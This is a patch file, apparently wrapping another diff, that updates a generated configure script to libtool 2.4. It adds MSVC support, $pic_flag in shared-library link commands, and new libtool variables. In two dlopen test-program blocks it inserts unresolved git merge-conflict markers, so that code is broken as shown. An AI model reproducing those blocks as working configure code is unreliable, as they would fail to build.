+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -11752,20 +12286,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -11826,7 +12403,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -11834,7 +12411,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -11850,7 +12427,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -11874,10 +12451,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -11956,23 +12533,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -12057,7 +12647,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -12076,9 +12666,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -12654,8 +13244,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -12688,13 +13279,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -13596,7 +14245,11 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
++<<<<<<< HEAD
+ #line 13599 "configure"
++=======
++#line $LINENO "configure"
++>>>>>>> b932158cf4c (Use libtool 2.4)
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -13640,10 +14293,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -13702,7 +14355,11 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
++<<<<<<< HEAD
+ #line 13705 "configure"
++=======
++#line $LINENO "configure"
++>>>>>>> b932158cf4c (Use libtool 2.4)
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -13746,10 +14403,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -17797,13 +18454,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -17818,14 +18482,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -17858,12 +18525,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -17918,8 +18585,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -17929,12 +18601,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -17950,7 +18624,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -17986,6 +18659,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -18845,7 +19519,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -18948,19 +19623,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -18990,6 +19688,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -18999,6 +19703,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -19113,12 +19820,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -19205,9 +19912,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -19223,6 +19927,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -19255,210 +19962,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
